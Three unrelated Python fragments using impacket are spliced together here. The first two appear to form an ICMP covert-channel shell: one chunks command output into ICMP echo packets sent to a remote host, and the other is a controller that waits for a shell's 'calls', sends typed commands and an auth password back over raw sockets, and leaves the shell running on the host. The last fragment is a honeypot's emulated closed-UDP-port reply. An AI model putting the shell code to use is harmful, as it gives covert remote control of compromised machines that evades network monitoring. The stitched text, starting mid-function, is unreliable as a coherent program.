ImpactPacket.Data(str(cmd_out[i:i + chunk_size]))) icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 ip.contains(icmp) self.sock.sendto(ip.get_packet(), (self.dst, 0)) else: icmp.contains(ImpactPacket.Data(cmd_out)) icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 ip.contains(icmp) self.sock.sendto(ip.get_packet(), (self.dst, 0)) time.sleep(self.delay) cmd, cmd_out = '', '#' else: ip = ImpactPacket.IP() ip.set_ip_dst(self.dst) icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHO) icmp.contains(ImpactPacket.Data(cmd_out)) icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 ip.contains(icmp) self.sock.sendto(ip.get_packet(), (self.dst, 0)) cmd, cmd_out = '', '#' time.sleep(self.delay)
def run_server(self): self.set_blocking(sys.stdin.fileno()) try: self.sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) except Exception as err: print('Socket error: %s' % err) sys.exit(1) if options.ip == '': self.src = self.get_ip_address(options.interface) print('Listening for calls on %s from shell %s' % (self.src, self.dst)) self.sock.setblocking(0) self.sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) ip = ImpactPacket.IP() ip.set_ip_src(self.src) ip.set_ip_dst(self.dst) icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHOREPLY) decoder = ImpactDecoder.IPDecoder() while 1: cmd = '' if self.sock in select.select([self.sock], [], [])[0]: buff = self.sock.recv(4096) if 0 == len(buff): self.sock.close() sys.exit(0) ippacket = decoder.decode(buff) icmppacket = ippacket.child() if ippacket.get_ip_dst() == self.src \ and ippacket.get_ip_src() == self.dst \ and 8 == icmppacket.get_icmp_type(): ident = icmppacket.get_icmp_id() seq_id = icmppacket.get_icmp_seq() data = icmppacket.get_data_as_string() if not self.is_alive: print('Received call from %s' % self.dst) self.is_alive = True if len(data) > 0: if 'AUTH' in data: print('Auth request (auth <password>):') data = '' if data != "": sys.stdout.write(data) try: cmd = sys.stdin.readline() except: pass if cmd == 'exit\n': print('Exiting client (shell still running on host)') return elif 'auth' in cmd: cmd_args = cmd.strip().split(' ') cmd = str(cmd_args[1]).encode('ascii') print('Authenticating using key %s' % cmd) icmp.set_icmp_id(ident) icmp.set_icmp_seq(seq_id) icmp.contains(ImpactPacket.Data(cmd)) icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 ip.contains(icmp) self.sock.sendto(ip.get_packet(), (self.dst, 0))
def closed(self, packet, path, personality, **kwargs): """Function defines closed port behavior""" callback_cipid = kwargs.get('cb_cipid', None) # respond with ICMP error type 3 code 3 # check R if 'R' in personality.fp_u1: if personality.fp_u1['R'] == 'N': return None udp_packet = packet.child() # inner udp datagram # duplicate incoming UDP header inner_udp = ImpactPacket.UDP() inner_udp.set_uh_sport(udp_packet.get_uh_sport()) inner_udp.set_uh_dport(udp_packet.get_uh_dport()) inner_udp.set_uh_ulen(udp_packet.get_uh_ulen()) inner_udp.set_uh_sum(udp_packet.get_uh_sum()) inner_udp.auto_checksum = 0 l = packet.get_ip_len() if l > 1472: # 1500 - 20 - 8 => outer IP and ICMP # 1444 = 1500 - 20 - 8 - 20 - 8 => MTU - outer IP - ICMP - inner IP - UDP data = udp_packet.get_packet()[:1444] else: data = udp_packet.get_packet() data = data[udp_packet.get_header_size():] # same slice as [8:] # inner ip packet # duplicate incoming IP header inner_ip = ImpactPacket.IP() inner_ip.set_ip_v(packet.get_ip_v()) inner_ip.set_ip_hl(packet.get_ip_hl()) inner_ip.set_ip_tos(packet.get_ip_tos()) inner_ip.set_ip_len(packet.get_ip_len()) inner_ip.set_ip_p(packet.get_ip_p()) inner_ip.set_ip_off(packet.get_ip_off()) inner_ip.set_ip_offmask(packet.get_ip_offmask()) inner_ip.set_ip_rf(packet.get_ip_rf()) inner_ip.set_ip_df(packet.get_ip_df()) inner_ip.set_ip_mf(packet.get_ip_mf()) inner_ip.set_ip_src(packet.get_ip_src()) inner_ip.set_ip_dst(packet.get_ip_dst()) inner_ip.set_ip_id(packet.get_ip_id()) inner_ip.set_ip_ttl(packet.get_ip_ttl()) inner_ip.set_ip_sum(packet.get_ip_sum()) inner_ip.auto_checksum = 0 # icmp packet reply_icmp = ImpactPacket.ICMP() reply_icmp.set_icmp_type(ImpactPacket.ICMP.ICMP_UNREACH) reply_icmp.set_icmp_code(ImpactPacket.ICMP.ICMP_UNREACH_PORT) reply_icmp.set_icmp_id(0) # unused field reply_icmp.set_icmp_seq(0) # unused field reply_icmp.auto_checksum = 1 # ip packet reply_ip = ImpactPacket.IP() reply_ip.set_ip_v(4) reply_ip.set_ip_p(1) reply_ip.set_ip_rf(False) reply_ip.set_ip_df(False) reply_ip.set_ip_mf(False) reply_ip.set_ip_src(packet.get_ip_dst()) reply_ip.set_ip_dst(packet.get_ip_src()) reply_ip.set_ip_id(callback_cipid()) reply_ip.auto_checksum = 1 # check DF if 'DF' in personality.fp_u1: if personality.fp_u1['DF'] == 'N': reply_ip.set_ip_df(False) elif personality.fp_u1['DF'] == 'Y': reply_ip.set_ip_df(True) else: raise Exception('Unsupported U1:DF=%s', personality.fp_u1['DF']) # check T ttl = 0x7f if 'T' in personality.fp_u1: try: ttl = personality.fp_u1['T'].split('-') # using minimum ttl ttl = int(ttl[0], 16) except BaseException: raise Exception('Unsupported U1:T=%s', personality.fp_u1['T']) # check TG if 'TG' in personality.fp_u1: try: ttl = int(personality.fp_u1['TG'], 16) except BaseException: raise Exception('Unsupported U1:TG=%s', personality.fp_u1['TG']) delta_ttl = ttl - path if delta_ttl < 1: logger.debug( 'Reply packet dropped: TTL reached 0 within virtual network.') return None reply_ip.set_ip_ttl(delta_ttl) # check UN un = 0 delta_un = 0 index = 0 if 'UN' in personality.fp_u1: if personality.fp_u1['UN'].startswith('>'): delta_un = 1 index = 1 elif personality.fp_u1['UN'].startswith('<'): delta_un = -1 index = 1 try: un = int(personality.fp_u1['UN'][index:], 16) un += delta_un except BaseException: raise Exception('Unsupported U1:UN=%s', personality.fp_u1['UN']) reply_icmp.set_icmp_void(un) # check RIPL ripl = 0x148 if 'RIPL' in personality.fp_u1: if personality.fp_u1['RIPL'] != 'G': try: ripl = int(personality.fp_u1['RIPL'], 16) except BaseException: raise Exception('Unsupported U1:RIPL=%s', personality.fp_u1['RIPL']) inner_ip.set_ip_len(ripl) # check RID rid = 0x1042 if 'RID' in personality.fp_u1: if personality.fp_u1['RID'] != 'G': try: rid = int(personality.fp_u1['RID'], 16) except BaseException: raise Exception('Unsupported U1:RID=%s', personality.fp_u1['RID']) inner_ip.set_ip_id(rid) # check RIPCK if 'RIPCK' in personality.fp_u1: if personality.fp_u1['RIPCK'] == 'I': valid_chksum = packet.get_ip_sum() inner_ip.set_ip_sum(valid_chksum + 256) elif personality.fp_u1['RIPCK'] == 'Z': inner_ip.set_ip_sum(0) elif personality.fp_u1['RIPCK'] == 'G': # leave it as original pass else: raise Exception('Unsupported U1:RIPCK=%s', personality.fp_u1['RIPCK']) # check RUCK if 'RUCK' in personality.fp_u1: try: ruck = int(personality.fp_u1['RUCK'], 16) inner_udp.set_uh_sum(ruck) except BaseException: # leave it as original pass # check RUD # data_len = udp_packet.get_uh_ulen() - udp_packet.get_header_size() if 'RUD' in personality.fp_u1: if personality.fp_u1['RUD'] == 'I': inner_udp.contains('G' * udp_packet.get_uh_ulen()) elif personality.fp_u1['RUD'] == 'G': inner_udp.contains(ImpactPacket.Data(data)) # truncated to zero OR copy original datagram => 'C'*data_len (0x43) else: raise Exception('Unsupported U1:RUD=%s', personality.fp_u1['RUD']) # check IPL if 'IPL' in personality.fp_u1: try: ipl = int(personality.fp_u1['IPL'], 16) reply_ip.set_ip_len(ipl) inner_ip.contains(inner_udp) reply_icmp.contains(inner_ip) except BaseException: raise Exception('Unsupported U1:IPL=%s', personality.fp_u1['IPL']) reply_icmp.calculate_checksum() reply_ip.contains(reply_icmp) return reply_ip